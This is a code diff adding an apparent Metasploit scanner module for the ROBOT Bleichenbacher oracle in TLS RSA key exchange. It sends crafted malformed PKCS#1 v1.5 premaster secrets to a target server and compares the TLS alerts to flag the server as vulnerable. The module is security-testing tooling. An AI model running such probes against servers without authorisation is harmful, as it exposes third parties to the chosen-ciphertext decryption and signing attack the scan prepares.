|
| 1 | +#!/usr/bin/env python3 |
| 2 | + |
| 3 | +# standard modules |
| 4 | +import math |
| 5 | +import time |
| 6 | +import sys |
| 7 | +import socket |
| 8 | +import os |
| 9 | +import ssl |
| 10 | + |
| 11 | +# extra modules |
| 12 | +import gmpy2 |
| 13 | +from cryptography import x509 |
| 14 | +from cryptography.hazmat.backends import default_backend |
| 15 | + |
| 16 | +from metasploit import module |
| 17 | + |
| 18 | + |
| 19 | +metadata = { |
| 20 | + 'name': 'Scanner for Bleichenbacher Oracle in RSA PKCS #1 v1.5', |
| 21 | + 'description': ''' |
| 22 | + Some TLS implementations handle errors processing RSA key exchanges and |
| 23 | + encryption (PKCS #1 v1.5 messages) in a broken way that leads an |
| 24 | + adaptive chosen-chiphertext attack. Attackers cannot recover a server's |
| 25 | + private key, but they can decrypt and sign messages with it. A strong |
| 26 | + oracle occurs when the TLS server does not strictly check message |
| 27 | + formatting and needs less than a million requests on average to decode |
| 28 | + a given ciphertext. A weak oracle server strictly checks message |
| 29 | + formatting and often requires many more requests to perform the attack. |
| 30 | +
|
| 31 | + This module requires Python 3 with the gmpy2 and cryptography packages |
| 32 | + to be present. |
| 33 | + ''', |
| 34 | + 'authors': [ |
| 35 | + 'Hanno Böck', # Research and PoC |
| 36 | + 'Juraj Somorovsky', # Research and PoC |
| 37 | + 'Craig Young', # Research and PoC |
| 38 | + 'Daniel Bleichenbacher', # Original practical attack |
| 39 | + 'Adam Cammack <adam_cammack[AT]rapid7.com>' # Metasploit module |
| 40 | + ], |
| 41 | + 'date': '2009-06-17', |
| 42 | + 'references': [ |
| 43 | + {'type': 'cve', 'ref': '2017-6168'}, # F5 BIG-IP |
| 44 | + {'type': 'cve', 'ref': '2017-17382'}, # Citrix NetScaler |
| 45 | + {'type': 'cve', 'ref': '2017-17427'}, # Radware |
| 46 | + {'type': 'cve', 'ref': '2017-17428'}, # Cisco ACE |
| 47 | + {'type': 'cve', 'ref': '2017-12373'}, # Cisco ASA |
| 48 | + {'type': 'cve', 'ref': '2017-13098'}, # Bouncy Castle |
| 49 | + {'type': 'cve', 'ref': '2017-1000385'}, # Erlang |
| 50 | + {'type': 'cve', 'ref': '2017-13099'}, # WolfSSL |
| 51 | + {'type': 'cve', 'ref': '2016-6883'}, # MatrixSSL |
| 52 | + {'type': 'cve', 'ref': '2012-5081'}, # Oracle Java |
| 53 | + {'type': 'url', 'ref': 'https://robotattack.org'}, |
| 54 | + {'type': 'url', 'ref': 'https://eprint.iacr.org/2017/1189'}, |
| 55 | + {'type': 'url', 'ref': 'https://github.com/robotattackorg/robot-detect'}, # Original PoC |
| 56 | + {'type': 'aka', 'ref': 'ROBOT'}, |
| 57 | + {'type': 'aka', 'ref': 'Adaptive chosen-ciphertext attack'} |
| 58 | + ], |
| 59 | + 'type': 'scanner.single', |
| 60 | + 'options': { |
| 61 | + 'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None}, |
| 62 | + 'rport': {'type': 'port', 'description': 'The target port', 'required': True, 'default': 443}, |
| 63 | + 'cipher_group': {'type': 'enum', 'description': 'Use TLS_RSA ciphers with AES and 3DES ciphers, or only TLS_RSA_WITH_AES_128_CBC_SHA or TLS-RSA-WITH-AES-128-GCM-SHA256', 'required': True, 'default': 'all', 'values': ['all', 'cbc', 'gcm']}, |
| 64 | + 'timeout': {'type': 'int', 'description': 'The delay to wait for TLS responses', 'required': True, 'default': 5} |
| 65 | + }} |
| 66 | + |
| 67 | +cipher_handshakes = { |
| 68 | + # This uses all TLS_RSA ciphers with AES and 3DES |
| 69 | + 'all': bytearray.fromhex("16030100610100005d03034f20d66cba6399e552fd735d75feb0eeae2ea2ebb357c9004e21d0c2574f837a000010009d003d0035009c003c002f000a00ff01000024000d0020001e060106020603050105020503040104020403030103020303020102020203"), |
| 70 | + # This uses only TLS_RSA_WITH_AES_128_CBC_SHA (0x002f) |
| 71 | + 'cbc': bytearray.fromhex("1603010055010000510303ecce5dab6f55e5ecf9cccd985583e94df5ed652a07b1f5c7d9ba7310770adbcb000004002f00ff01000024000d0020001e060106020603050105020503040104020403030103020303020102020203"), |
| 72 | + # This uses only TLS-RSA-WITH-AES-128-GCM-SHA256 (0x009c) |
| 73 | + 'gcm': bytearray.fromhex("1603010055010000510303ecce5dab6f55e5ecf9cccd985583e94df5ed652a07b1f5c7d9ba7310770adbcb000004009c00ff01000024000d0020001e060106020603050105020503040104020403030103020303020102020203") |
| 74 | +} |
| 75 | +ch_def = cipher_handshakes['all'] |
| 76 | + |
| 77 | +ccs = bytearray.fromhex("000101") |
| 78 | +enc = bytearray.fromhex("005091a3b6aaa2b64d126e5583b04c113259c4efa48e40a19b8e5f2542c3b1d30f8d80b7582b72f08b21dfcbff09d4b281676a0fb40d48c20c4f388617ff5c00808a96fbfe9bb6cc631101a6ba6b6bc696f0") |
| 79 | + |
| 80 | + |
| 81 | +def get_rsa_from_server(target, timeout=5): |
| 82 | + try: |
| 83 | + s = socket.create_connection(target, timeout) |
| 84 | + ctx = ssl.create_default_context() |
| 85 | + ctx.check_hostname = False |
| 86 | + ctx.verify_mode = ssl.CERT_NONE |
| 87 | + ctx.set_ciphers("RSA") |
| 88 | + s = ctx.wrap_socket(s) |
| 89 | + cert_raw = s.getpeercert(binary_form=True) |
| 90 | + cert_dec = x509.load_der_x509_certificate(cert_raw, default_backend()) |
| 91 | + return cert_dec.public_key().public_numbers().n, cert_dec.public_key().public_numbers().e |
| 92 | + except Exception as e: |
| 93 | + return (None, e) |
| 94 | + |
| 95 | + |
| 96 | +def tls_connect(target, timeout=5, cipher_handshake=ch_def): |
| 97 | + s = socket.create_connection(target, 3) |
| 98 | + s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) |
| 99 | + s.settimeout(timeout) |
| 100 | + s.sendall(cipher_handshake) |
| 101 | + buf = bytearray() |
| 102 | + i = 0 |
| 103 | + bend = 0 |
| 104 | + while True: |
| 105 | + # we try to read twice |
| 106 | + while i + 5 > bend: |
| 107 | + buf += s.recv(4096) |
| 108 | + bend = len(buf) |
| 109 | + # this is the record size |
| 110 | + psize = buf[i + 3] * 256 + buf[i + 4] |
| 111 | + # if the size is 2, we received an alert |
| 112 | + if (psize == 2): |
| 113 | + return ("The server sends an Alert after ClientHello") |
| 114 | + # try to read further record data |
| 115 | + while i + psize + 5 > bend: |
| 116 | + buf += s.recv(4096) |
| 117 | + bend = len(buf) |
| 118 | + # check whether we have already received a ClientHelloDone |
| 119 | + if (buf[i + 5] == 0x0e) or (buf[bend - 4] == 0x0e): |
| 120 | + break |
| 121 | + i += psize + 5 |
| 122 | + |
| 123 | + return (s, buf[9:11]) |
| 124 | + |
| 125 | +def oracle(target, pms, cke_2nd_prefix, cipher_handshake=ch_def, messageflow=False, timeout=5): |
| 126 | + try: |
| 127 | + s, cke_version = tls_connect(target, timeout) |
| 128 | + s.send(bytearray(b'\x16') + cke_version) |
| 129 | + s.send(cke_2nd_prefix) |
| 130 | + s.send(pms) |
| 131 | + if not messageflow: |
| 132 | + s.send(bytearray(b'\x14') + cke_version + ccs) |
| 133 | + s.send(bytearray(b'\x16') + cke_version + enc) |
| 134 | + try: |
| 135 | + alert = s.recv(4096) |
| 136 | + if len(alert) == 0: |
| 137 | + return ("No data received from server") |
| 138 | + if alert[0] == 0x15: |
| 139 | + if len(alert) < 7: |
| 140 | + return ("TLS alert was truncated (%s)" % (repr(alert))) |
| 141 | + return ("TLS alert %i of length %i" % (alert[6], len(alert))) |
| 142 | + else: |
| 143 | + return "Received something other than an alert (%s)" % (alert[0:10]) |
| 144 | + except ConnectionResetError as e: |
| 145 | + return "ConnectionResetError" |
| 146 | + except socket.timeout: |
| 147 | + return ("Timeout waiting for alert") |
| 148 | + s.close() |
| 149 | + except Exception as e: |
| 150 | + return str(e) |
| 151 | + |
| 152 | + |
| 153 | +def run(args): |
| 154 | + target = (args['rhost'], int(args['rport'])) |
| 155 | + timeout = float(args['timeout']) |
| 156 | + cipher_handshake = cipher_handshakes[args['cipher_group']] |
| 157 | + |
| 158 | + module.log("{}:{} - Scanning host for Bleichenbacher oracle".format(*target), level='debug') |
| 159 | + |
| 160 | + N, e = get_rsa_from_server(target, timeout) |
| 161 | + |
| 162 | + if not N: |
| 163 | + module.log("{}:{} - Cannot establish SSL connection: {}".format(*target, e), level='error') |
| 164 | + return |
| 165 | + |
| 166 | + modulus_bits = int(math.ceil(math.log(N, 2))) |
| 167 | + modulus_bytes = (modulus_bits + 7) // 8 |
| 168 | + module.log("{}:{} - RSA N: {}".format(*target, hex(N)), level='debug') |
| 169 | + module.log("{}:{} - RSA e: {}".format(*target, hex(e)), level='debug') |
| 170 | + module.log("{}:{} - Modulus size: {} bits, {} bytes".format(*target, modulus_bits, modulus_bytes), level='debug') |
| 171 | + |
| 172 | + cke_2nd_prefix = bytearray.fromhex("{0:0{1}x}".format(modulus_bytes + 6, 4) + "10" + "{0:0{1}x}".format(modulus_bytes + 2, 6) + "{0:0{1}x}".format(modulus_bytes, 4)) |
| 173 | + # pad_len is length in hex chars, so bytelen * 2 |
| 174 | + pad_len = (modulus_bytes - 48 - 3) * 2 |
| 175 | + rnd_pad = ("abcd" * (pad_len // 2 + 1))[:pad_len] |
| 176 | + |
| 177 | + rnd_pms = "aa112233445566778899112233445566778899112233445566778899112233445566778899112233445566778899" |
| 178 | + pms_good_in = int("0002" + rnd_pad + "00" + "0303" + rnd_pms, 16) |
| 179 | + # wrong first two bytes |
| 180 | + pms_bad_in1 = int("4117" + rnd_pad + "00" + "0303" + rnd_pms, 16) |
| 181 | + # 0x00 on a wrong position, also trigger older JSSE bug |
| 182 | + pms_bad_in2 = int("0002" + rnd_pad + "11" + rnd_pms + "0011", 16) |
| 183 | + # no 0x00 in the middle |
| 184 | + pms_bad_in3 = int("0002" + rnd_pad + "11" + "1111" + rnd_pms, 16) |
| 185 | + # wrong version number (according to Klima / Pokorny / Rosa paper) |
| 186 | + pms_bad_in4 = int("0002" + rnd_pad + "00" + "0202" + rnd_pms, 16) |
| 187 | + |
| 188 | + pms_good = int(gmpy2.powmod(pms_good_in, e, N)).to_bytes(modulus_bytes, byteorder="big") |
| 189 | + pms_bad1 = int(gmpy2.powmod(pms_bad_in1, e, N)).to_bytes(modulus_bytes, byteorder="big") |
| 190 | + pms_bad2 = int(gmpy2.powmod(pms_bad_in2, e, N)).to_bytes(modulus_bytes, byteorder="big") |
| 191 | + pms_bad3 = int(gmpy2.powmod(pms_bad_in3, e, N)).to_bytes(modulus_bytes, byteorder="big") |
| 192 | + pms_bad4 = int(gmpy2.powmod(pms_bad_in4, e, N)).to_bytes(modulus_bytes, byteorder="big") |
| 193 | + |
| 194 | + oracle_good = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout) |
| 195 | + oracle_bad1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout) |
| 196 | + oracle_bad2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout) |
| 197 | + oracle_bad3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout) |
| 198 | + oracle_bad4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout) |
| 199 | + |
| 200 | + if (oracle_good == oracle_bad1 == oracle_bad2 == oracle_bad3 == oracle_bad4): |
| 201 | + module.log("{}:{} - Identical results ({}), retrying with changed messageflow".format(*target, oracle_good), level='info') |
| 202 | + oracle_good = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout) |
| 203 | + oracle_bad1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout) |
| 204 | + oracle_bad2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout) |
| 205 | + oracle_bad3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout) |
| 206 | + oracle_bad4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout) |
| 207 | + if (oracle_good == oracle_bad1 == oracle_bad2 == oracle_bad3 == oracle_bad4): |
| 208 | + module.log("{}:{} - Identical results ({}), no working oracle found".format(*target, oracle_good), level='info') |
| 209 | + return |
| 210 | + else: |
| 211 | + flow = True |
| 212 | + else: |
| 213 | + flow = False |
| 214 | + |
| 215 | + # Re-checking all oracles to avoid unreliable results |
| 216 | + oracle_good_verify = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout) |
| 217 | + oracle_bad_verify1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout) |
| 218 | + oracle_bad_verify2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout) |
| 219 | + oracle_bad_verify3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout) |
| 220 | + oracle_bad_verify4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout) |
| 221 | + |
| 222 | + if (oracle_good != oracle_good_verify) or (oracle_bad1 != oracle_bad_verify1) or (oracle_bad2 != oracle_bad_verify2) or (oracle_bad3 != oracle_bad_verify3) or (oracle_bad4 != oracle_bad_verify4): |
| 223 | + module.log("{}:{} - Getting inconsistent results, skipping".format(*target), level='warning') |
| 224 | + return |
| 225 | + |
| 226 | + # If the response to the invalid PKCS#1 request (oracle_bad1) is equal to both |
| 227 | + # requests starting with 0002, we have a weak oracle. This is because the only |
| 228 | + # case where we can distinguish valid from invalid requests is when we send |
| 229 | + # correctly formatted PKCS#1 message with 0x00 on a correct position. This |
| 230 | + # makes our oracle weak |
| 231 | + if (oracle_bad1 == oracle_bad2 == oracle_bad3): |
| 232 | + oracle_strength = "weak" |
| 233 | + else: |
| 234 | + oracle_strength = "strong" |
| 235 | + |
| 236 | + if flow: |
| 237 | + flowt = "shortened" |
| 238 | + else: |
| 239 | + flowt = "standard" |
| 240 | + |
| 241 | + s, cke_version = tls_connect(target, timeout, cipher_handshake) |
| 242 | + s.close() |
| 243 | + |
| 244 | + if cke_version[0] == 3 and cke_version[1] == 0: |
| 245 | + tlsver = "SSLv3" |
| 246 | + elif cke_version[0] == 3 and cke_version[1] == 1: |
| 247 | + tlsver = "TLSv1.0" |
| 248 | + elif cke_version[0] == 3 and cke_version[1] == 2: |
| 249 | + tlsver = "TLSv1.1" |
| 250 | + elif cke_version[0] == 3 and cke_version[1] == 3: |
| 251 | + tlsver = "TLSv1.2" |
| 252 | + else: |
| 253 | + tlsver = "TLS raw version %i/%i" % (cke_version[0], cke_version[1]) |
| 254 | + |
| 255 | + module.report_vuln(target[0], 'Bleichenbacher Oracle', port=target[1]) |
| 256 | + module.log("{}:{} - Vulnerable: ({}) oracle found {} with {} message flow".format(*target, oracle_strength, tlsver, flowt), level='good') |
| 257 | + |
| 258 | + module.log("{}:{} - Result of good request: {}".format(*target, oracle_good), level='debug') |
| 259 | + module.log("{}:{} - Result of bad request 1 (wrong first bytes): {}".format(*target, oracle_bad1), level='debug') |
| 260 | + module.log("{}:{} - Result of bad request 2 (wrong 0x00 position): {}".format(*target, oracle_bad2), level='debug') |
| 261 | + module.log("{}:{} - Result of bad request 3 (missing 0x00): {}".format(*target, oracle_bad3), level='debug') |
| 262 | + module.log("{}:{} - Result of bad request 4 (bad TLS version): {}".format(*target, oracle_bad4), level='debug') |
| 263 | + |
| 264 | + |
| 265 | +if __name__ == "__main__": |
| 266 | + module.run(metadata, run) |
0 commit comments